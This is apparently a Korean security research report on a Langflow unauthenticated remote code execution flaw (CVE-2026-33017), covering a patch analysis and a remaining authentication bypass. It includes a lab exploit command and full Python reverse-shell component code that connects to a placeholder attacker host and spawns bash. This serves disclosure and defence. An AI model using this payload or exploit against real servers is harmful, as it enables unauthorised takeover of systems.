Research & Technique

Langflow RCE 취약점(CVE-2026-33017)

■ 서론

2026년 3월, AI 에이전트가 포함된 플로우 [1] 를 만들고 배포하는 오픈소스 플랫폼 Langflow에 인증 없이도 원격 코드 실행이 가능한 취약점(CVE-2026-33017)이 공개되었다. 이 취약점은 로그인 없이 공유된 플로우를 실행할 수 있게 해주는 기능에서 발생한다. 공격자가 보낸 플로우 데이터를 검증 없이 그대로 받아들여 그 안에 담긴 코드가 실행되기 때문이다. 그 결과 인증 절차 없이도 공격자가 서버에서 임의의 코드를 실행할 수 있게 된다.

Langflow는 채팅 입력, AI 모델 호출, 문서 검색, API 요청, 결과 출력 같은 기능을 화면에서 블록처럼 연결해 원하는 플로우를 구성할 수 있는 오픈소스 도구이다. GitHub Star 약 15만 개를 보유할 만큼 널리 알려져 있으며, 만든 플로우를 서버에 올려 API나 공유 링크 형태로 외부에서 실행할 수 있는 기능도 제공한다.

그림 1. Langflow GitHub Star

이 취약점은 플로우를 외부에 공개해 둔 Langflow 운영 환경에 영향을 준다. 공개된 플로우를 실행할 때는 인증 절차가 필요 없어, 공격자는 대상 플로우의 식별자만으로 서버에서 임의의 코드를 실행할 수 있다. 이 경우 서버 권한으로 원격 코드 실행이 가능하며, 최악의 경우 피해자의 시스템을 장악할 수 있다. 따라서 플로우를 외부에 공개한 운영환경에서는 취약 버전 여부를 확인하고 보안 패치를 적용해야 한다.

한편 2026년 6월에도 Langflow에서 인증 없이 원격 코드 실행이 가능한 취약점이 CVE-2026-48519로 별도 등록되었다. 해당 취약점은 발생 원인과 공격 방식이 CVE-2026-33017과 동일해 중복 등록으로 보이며, 두 CVE 모두 영향 받는 버전 범위가 정확히 기재되어 있지 않았다.

CVE-2026-48519는 영향 받는 버전을 v1.9.1 이하, 패치 버전을 v1.9.2로 표기하고 있다. 그러나 해당 취약점은 이전 v1.9.0에서 이미 수정되었으므로, 이미 수정된 버전까지 영향 받는 버전 범위에 포함된 셈이다.

그림 2. CVE-2026-48519 취약 버전 범위 표기 미흡

CVE-2026-33017도 v1.8.2 이하가 취약한 것으로 표기되나 실제로는 v1.8.4를 포함하는 v1.9.0 미만 버전이 취약하다.

그림 3. CVE-2026-33017 취약 버전 범위 표기 미흡

이 보고서는 테스트를 통해 정확한 취약 버전을 제시하고, CVE-2026-33017에 대한 패치 진행 후에도 발생할 수 있는 취약점을 알아본다.

■ 영향받는 소프트웨어 버전

CVE-2026-33017에 취약한 소프트웨어는 다음과 같다.

S/W 구분 취약 버전
Langflow version < v1.9.0

■ 공격 시나리오

그림 4. 공격 시나리오

  • 공격자가 공유된 플로우의 실행 경로로 요청을 보낸다. 이때 요청 본문에 Python 코드를 실행하는 플로우 정의를 삽입한다.
  • 서버는 이 요청을 받아, 플로우 정의를 그대로 빌드한다.
  • 삽입된 플로우가 실행되며, 그 안의 Python 코드가 서버에서 그대로 실행된다.
  • 실행된 코드가 공격자 서버로 리버스 쉘 연결을 시도하며, 공격자가 피해자 서버의 쉘을 획득한다.

■ 테스트 환경 구성 정보

피해자 서버는 취약한 Langflow v1.8.4를 Docker 컨테이너로 구동한다. 공격자는 피해자에 접근 가능한 호스트라면 어디서든 공격할 수 있다. 본 테스트에서는 같은 네트워크의 Kali Linux 컨테이너를 사용했다.

이름 정보
피해자 Langflow Server v1.8.4 (Docker 컨테이너)
(172.17.0.2:7860)
공격자 Kali Linux (호스트 PC, Docker 컨테이너)
(172.17.0.3)

■ 취약점 테스트

Step 1. 환경 구성

먼저 피해자 환경을 구성한다. 다음 명령어로 CVE-2026-33017에 취약한 Langflow v1.8.4 컨테이너를 구동하고, 간단한 플로우를 공유 가능한 상태로 생성한다.

> git clone https://github.com/EQSTLab/cve-2026-33017.git

> cd cve-2026-33017

> docker build -t cve-2026-33017 .

> docker run -d --name cve-2026-33017 -p 7860:7860 cve-2026-33017

아이디/비밀번호를 admin으로 입력하고 확인하면 Shareable Playground가 활성화된 플로우가 생성된 것을 확인할 수 있다.

그림 5. 취약 환경 구성 확인

Step 2. 취약점 테스트

Langflow에서 플로우는 Shareable Playground의 URL을 통해 공유된다. 해당 URL을 접속하면 아래와 같이 플로우를 인증 없이 사용해 볼 수 있다.

그림 6. 공유된 플로우 확인

먼저 공격자는 Kali에서 Langflow 서버로부터 리버스 쉘 연결을 수신하기 위해 터미널을 열고, 지정한 포트를 개방한 상태로 대기한다.

그림 7. 서버 연결 수신 대기

이후 다른 터미널에서 다음 명령어를 통해 공격 요청을 전송한다. 해당 요청에는 Langflow 서버가 공격자 서버의 대기 포트로 연결한 뒤, 그 연결을 통해 쉘을 넘기도록 유도하는 페이로드가 포함되어 있다.

> git clone https://github.com/EQSTLab/cve-2026-33017.git

> cd cve-2026-33017

> python3 exploit.py --url http://172.17.0.2:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost 172.17.0.3 --lport 4444> python3 poc.py

Langflow 서버가 요청을 처리하면 삽입된 코드가 실행되고, 서버는 공격자 측의 대기 포트로 연결을 시도한다. 공격자는 해당 연결을 통해 서버의 쉘을 획득함으로써 별도의 인증 없이 서버 권한으로 원격 코드를 실행할 수 있음을 확인할 수 있다.

그림 8. 쉘 획득

■ 취약점 상세 분석

Step 1. 취약점 발생 배경

이번 스텝에서는 CVE-2026-33017이 발생한 원인이 되는 배경을 알아본다.

1. Custom Component

Langflow에서는 입력 처리, AI 모델 호출, 문서 검색 등 자주 쓰이는 기능이 기본 컴포넌트로 제공되며, 사용자는 이를 조합해 플로우를 구성한다. 기본 컴포넌트로 구현하기 어려운 기능은 Custom Component로 직접 추가할 수 있다.

Custom Component는 사용자가 작성한 Python 코드로 컴포넌트의 동작을 정의하는 기능이다. 이 코드는 플로우 정의 안에 저장되고, 컴포넌트의 동작 자체가 이 코드로 이루어지므로 플로우를 실행하면 서버가 해당 코드를 실행하게 된다.

그림 9. Custom Component 코드 편집

Custom Component에는 Langflow 서버가 실행할 Python 코드가 포함되므로, 해당 컴포넌트의 정의 및 변경은 플로우 작성 권한을 가진 사용자로 제한되어야 한다.

2. Shareable Playground

Shareable Playground는 작성자가 만든 플로우를 다른 사람도 사용해 볼 수 있도록 공유하는 기능이다. 공유를 활성화하면 전용 URL이 생성되고, 이 URL을 받은 사람은 계정이나 API key 없이 브라우저에서 바로 플로우를 실행해 결과를 확인할 수 있다.

공유된 플로우는 계정이 없는 외부 사용자도 실행할 수 있어야 하므로, 로그인 없이 실행되도록 설계됐다. 이때 외부 사용자는 플로우를 실행할 권한만 주어지며, 플로우의 내용을 바꿔 실행하는 것은 허용되지 않는다. 그러나 이번 취약점에서는 외부 사용자가 실행할 플로우 자체를 직접 정의할 수 있었고, 여기에 Custom Component 코드가 서버에서 실행되는 특성이 맞물려 인증 없는 원격 코드 실행으로 이어졌다.

Step 2. 취약 코드 분석

/build_public_tmp/{flow_id}/flow는 Shareable Playground를 통해 공유된 플로우를 인증 없이 실행할 수 있는 API이며, HTTP 요청의 data 필드를 별도 검증 없이 플로우 빌드 시작 함수인 start_flow_build()에 그대로 전달한다.

그림 10. 요청 body의 data를 플로우 실행 함수에 전달

start_flow_build()는 data가 없을 경우 DB에 저장된 플로우를 실행하고, data가 존재할 경우에는 요청의 data 필드에 전달된 값을 그대로 사용해 플로우를 실행한다.

그림 11. data 유무에 따른 플로우 선택 로직

즉, 공유된 플로우를 실행하는 API에 data 필드를 본문에 담아 요청을 전송하는 것으로 인증 없이 서버가 실행할 플로우를 변경하는 것이 가능하다.

이러한 동작은 본래 개발자가 편집 중인 플로우를 저장 없이 바로 실행해 보기 위한 기능에서 비롯된 것으로 보인다. 인증된 개발자는 자신의 코드를 실행할 권한이 있어 요청 data를 실행해도 문제가 없지만, /build_public_tmp/{flow_id}/flow는 인증 없이 공유된 플로우를 실행하는 API임에도 이 data를 그대로 받는다. 그 결과 외부 사용자가 요청에 악성 Custom Component 코드를 담아 실행할 플로우를 직접 지정할 수 있게 되어, 인증 없는 원격 코드 실행이 발생한다.

그림 12. 취약점을 통한 RCE 발생 흐름

Step 3. 공격 흐름 분석

공격자는 Custom Component를 포함한 플로우 형식의 data를 HTTP 요청 본문에 넣어 /build_public_tmp/{flow_id}/flow에 보낸다. code.value에는 Custom Component가 실행할 Python 코드를 넣을 수 있다.

그림 13. 공격 요청 전송

삽입한 Python 코드는 서버가 공격자에게 연결해 bash 쉘을 넘겨주는 코드로, 실행되면 공격자가 서버의 쉘을 획득한다.

from lfx.custom.custom_component.component import Component

from lfx.io import Output

from lfx.schema.data import Data


class ExploitComp(Component):

display_name = 'X'

outputs = [Output(display_name='O', name='o', method='r')]


def r(self) -> Data:

import socket,subprocess

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(('<Attacker IP>', <Attacker Port>))

p = subprocess.Popen(['/bin/bash', ' '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())

p.wait()

return Data(data={'ok': 1})

서버는 요청 data가 존재하므로 if not data: 분기를 실행하지 않고, 요청 값 기반으로 플로우를 구성한다.

그림 14. 요청 data필드의 값이 서버의 data 파라미터에 저장됨

data는 공격자의 ExploitComp 컴포넌트로 정의되고, 이후 플로우가 실행될 때 이 컴포넌트가 호출되며 공격자가 삽입한 코드가 서버에서 실행된다.

그림 15. 공격자가 삽입한 컴포넌트 정의

■ 대응 방안

CVE-2026-33017은 v1.9.0에서 패치되었다. 다만 본 분석 과정에서, 이 패치 이후에도 공유된 플로우를 실행하는 경로에는 인증 우회 문제가 남아 있음을 확인했다. 아래에서 v1.9.0의 패치 내용과 남은 인증 우회 문제, 근본 대응을 차례로 살펴본다.

S/W 구분 패치 버전
Langflow v1.9.0 이상

Step 1. CVE-2026-33017 패치 (v1.9.0)

취약 버전의 build_public_tmp()는 요청 본문 data에 담긴 플로우 정의를 그대로 실행했지만, 패치 버전은 이data를 받지 않도록 수정되었다. 먼저 build_public_tmp()에서 data 파라미터를 제거하여, 요청에 data 필드가 있어도 더 이상 받아들이지 않는다.

그림 16. data 파라미터 제거

또한 공용 플로우 실행 함수인 start_flow_build()를 호출할 때 data를 항상 None으로 전달하도록 고정하였다.

그림 17. start_flow_build() 호출 시 data 파라미터 None으로 고정

그 결과 실행할 플로우를 구성하는 create_graph() 함수는 항상 data가 없는 분기를 타고, DB에 저장된 원본 플로우를 불러와 실행한다. 즉 공유된 플로우는 언제나 DB에 저장된 정의로만 실행되고, 플로우 정의 주입을 통한 원격 코드 실행은 불가능해졌다.

그림 18. data 유무 기반으로 DB에 저장된 플로우를 불러오는 분기점

또한 이 버전부터는 인증이 활성화된 환경에서 Shareable Playground 화면에 접근할 때 로그인을 요구하도록 변경되어, 공유된 플로우는 인증된 사용자만 사용할 수 있도록 제한되는 것처럼 보인다.

그림 19. Shareable Playground 접근 시 로그인 요구

Step 2. 새롭게 발견된 인증 우회 취약점

그러나 패치에서 추가된 로그인 요구는 Shareable Playground 웹 화면에만 적용되었다. 플로우를 실제로 실행하는 /build_public_tmp/{flow_id}/flow API는 패치 이후에도 인증 없이 호출할 수 있어, 공격자는 로그인 절차를 거치지 않고 공유된 플로우의 UUID만으로 해당 API를 직접 호출할 수 있다.

다음과 같이 API를 통해 요청을 전송하면, 로그인을 하지 않았음에도 플로우를 실행할 수 있다.

그림 20. 인증을 우회하고 플로우 실행

이 인증 우회 취약점은 공유된 플로우 구성에 따라 문제를 발생시킬 수 있다. 대표적인 경우는 다음과 같다.

플로우 구성 발생하는 문제
중요 문서·DB 기반 챗봇 플로우 미인증 공격자가 질문만으로 내부 문서·고객 정보 등 비공개 데이터를 조회·추출할 수 있다.
외부 작업 수행 플로우 공격자가 작성자 권한으로 작업을 대신 실행할 수 있다. 예를 들어 작성자 계정으로 이메일을 보내거나 연결된 DB의 데이터를 변경·삭제할 수 있다.
입력 값 기반 코드 실행 플로우 공격자가 입력값에 악성 코드를 담아 서버에서 실행시켜 원격 코드 실행으로 이어질 수 있다.

이 문제는 최신 버전에서도 해결되지 않았다. Langflow는 v1.10.0에서 코드 실행이 가능한 컴포넌트를 차단해 원격 코드 실행만 막았을 뿐, 인증 우회 자체는 그대로 남아 있다. 버전 업데이트만으로는 해결이 불가능하므로,민감한 데이터·자격증명·외부 연동이 포함된 플로우는 Shareable Playground로 공유하지 않는 등 공유 기능의 사용 자체에 각별한 주의가 필요하다.

근본적인 문제 해결을 위해서는/build_public_tmp/{flow_id}/flowAPI에 인증을 적용해야 한다. 이미 Shareable Playground에서 로그인을 요구하고 있으므로, 같은 인증을 실행 API에 적용하면 이 인증 우회가 근본적으로 차단된다.

■ 참고 사이트

NVD

https://nvd.nist.gov/vuln/detail/CVE-2026-33017

https://nvd.nist.gov/vuln/detail/CVE-2026-48519

Langflow DOCS

https://docs.langflow.org/

GitHub Advisories

https://github.com/advisories/GHSA-vwmf-pq79-vjvx

https://github.com/advisories/GHSA-v5ff-9q35-q26f

GitHub releases

https://github.com/langflow-ai/langflow/releases/tag/v1.10.0

  1. 플로우(flow): 채팅 입력, AI 모델 호출 등 개별 기능 블록을 시각적으로 연결하여 구성한 Langflow의 작업 흐름

SK쉴더스㈜ 13486 경기도 성남시 분당구 판교로227번길 23, 4&5층

www.skshieldus.com

발행인 SK쉴더스 EQST사업그룹

제작 SK쉴더스 마케팅그룹

COPY RIGHT @ 2025 SK SHIELDUS, ALL RIGHT RESERVED

본 저작물은 SK쉴더스의 EQST사업그룹에서 작성한 콘텐츠로 어떤 부분도 SK쉴더스의 서면 동의 없이 사용될 수 없습니다.